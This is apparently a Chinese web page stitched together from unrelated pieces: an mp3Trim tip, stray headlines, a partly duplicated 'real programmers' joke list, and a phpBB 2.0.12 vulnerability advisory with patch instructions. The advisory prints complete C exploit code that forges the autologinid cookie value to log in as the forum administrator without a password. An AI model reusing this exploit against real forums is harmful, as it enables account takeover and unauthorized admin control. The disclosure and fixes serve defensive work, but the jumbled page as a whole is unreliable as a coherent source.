运行程序之后载入需要修正的MP3歌曲,首先要知道需要截取的是哪一部分,在"从头部"处输入截取部分的开始时间,单击右边的小喇叭按钮,同时在"从尾部"处输入时间(这个时间是从文件末尾往前推的时间,所以此时间需用音乐总的时间减去刚才记下的时间来得到),单击右边的小喇叭按钮,紧接着选择保存便大功告成了。
除了从时间选择截取片段,mp3Trim支持从帧来选择截取片段,其操作方法与时间截取大同小异,而且其他诸如音量控制、淡入淡出效果等功能也很有特色。
中国十大虚假电视节目排行榜
| 首先声明一句,对于当下的电视节目,有格调的人或许会说:俺们从来不看电视!但电视走入千家万户,n个频道n种节目丰富或者填塞着小民百姓的业余生活,又怎能不成为晕晕大众生活的一部分。所以先拜托那些声称不爱看电视的高雅分子不要对这篇小文嗤之以鼻。小民小娱乐,过过眼瘾、过过嘴瘾罢了。 |
看,一个中国人死了
一生有你,可以吗?
IT人特有的夜生活
这才是真正的程序员-幽默
真正的程序员从来不写注释,难写的程序必定也难读。
真正的程序员不写应用程序,他们直接从最底层的裸机开始编程。他们认为应用程序编程是那些不会系统编程的人干的活。
真正的程序员不画流程图,流程图是没文化的人的文档,居住在山洞里的人才在岩壁上画流程图。
真正的程序员从来不写注释,难写的程序必定也难读。
真正的程序员不写应用程序,他们直接从最底层的裸机开始编程。他们认为应用程序编程是那些不会系统编程的人干的活。
真正的程序员不画流程图,流程图是没文化的人的文档,居住在山洞里的人才在岩壁上画流程图。
真正的程序员不读手册,依赖手册是无知和懦弱的表现。
真正的程序员从不一次做对,他们可以连续30个小时坐在机器前面给程序打补丁。
真正的程序员从不按早9晚5的生活过日子,如果你在早上9点看见一个程序员,那一定是他一夜未眠。
真正的程序员比用户还清楚用户需要什么。
真正的程序员喜欢兼卖爆米花,他们利用CPU散发出的热量做爆米花,可以根据米花爆裂的速度听出正在运行什么程序。
phpBB 2.0.12非法获取管理员权限及路径泄露漏洞
[受影响系统]:
phpBB Group phpBB 2.0.12
--------------------------------------------------------------------------------
[不受影响系统]:
phpBB Group phpBB 2.0.13
--------------------------------------------------------------------------------
[漏洞描述]:
phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。
phpBB 2.0.12版本中存在两个安全漏洞,其中一个很严重,允许任意用户都可以获取管理权限,另外一个漏洞会导致服务器路径泄露。
第一个漏洞存在于includes/sessions.php文件中,其对$sessiondata['autologinid']变量的类型及比较操作存在问题,远程攻击者可以通过伪造特别的变量值使用判断用户合法性的操作始终返回真,从而使用任意用户可以在不知道口令的情况下以管理员的身份认证成功。第二个漏洞在于viewtopic.php文件中,由于对消息的过滤不充分,使路径泄露成为可能。
<*来源:federico gonzales (elrengo94@hotmail.com)
链接:_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=110970201920206&w=2
_blank>http://www.phpbb.com/phpBB/viewtopic.php?t=267563
*>
--------------------------------------------------------------------------------
[测试方法]:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam ©
描述:这个攻击程序可以修改cookies.txt(Firefox和Mozilla)文件中的用户ID。你必须要登陆到没有选定autologin选项的论坛,然后关闭导航器,执行攻击。
注意:必须将攻击代码放置在cookies.txt的同一目录内。攻击可以覆盖指定了用户ID的所有phpbb cookies。
By Paisterist
_blank>http://neosecurityteam.net
_blank>http://neosecurityteam.tk
Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, Arcanhell, Alluz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],
cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22us \
erid%22%3Bs%3A1%3A%22", cookief[9]="%22%3B%7D", cookiec[106],
cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22useri \
d%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;
if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");
if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}
strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the exploit or the user \
id is incorrect\n"); exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
--------------------------------------------------------------------------------
[安全建议]:
厂商补丁:
phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
_blank>http://www.phpbb.com/downloads.php
也可按照如下方法修复:
1 获取管理权限漏洞
打开includes/sessions.php
请找到以下代码:
if( $sessiondata['autologinid'] == $auto_login_key )
替换为:
if( $sessiondata['autologinid'] === $auto_login_key )
2 路径泄漏漏洞
打开viewtopic.php
请找到以下代码:
$message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));
替换为:
$message = str_replace('\"', '"', substr(@preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "@preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));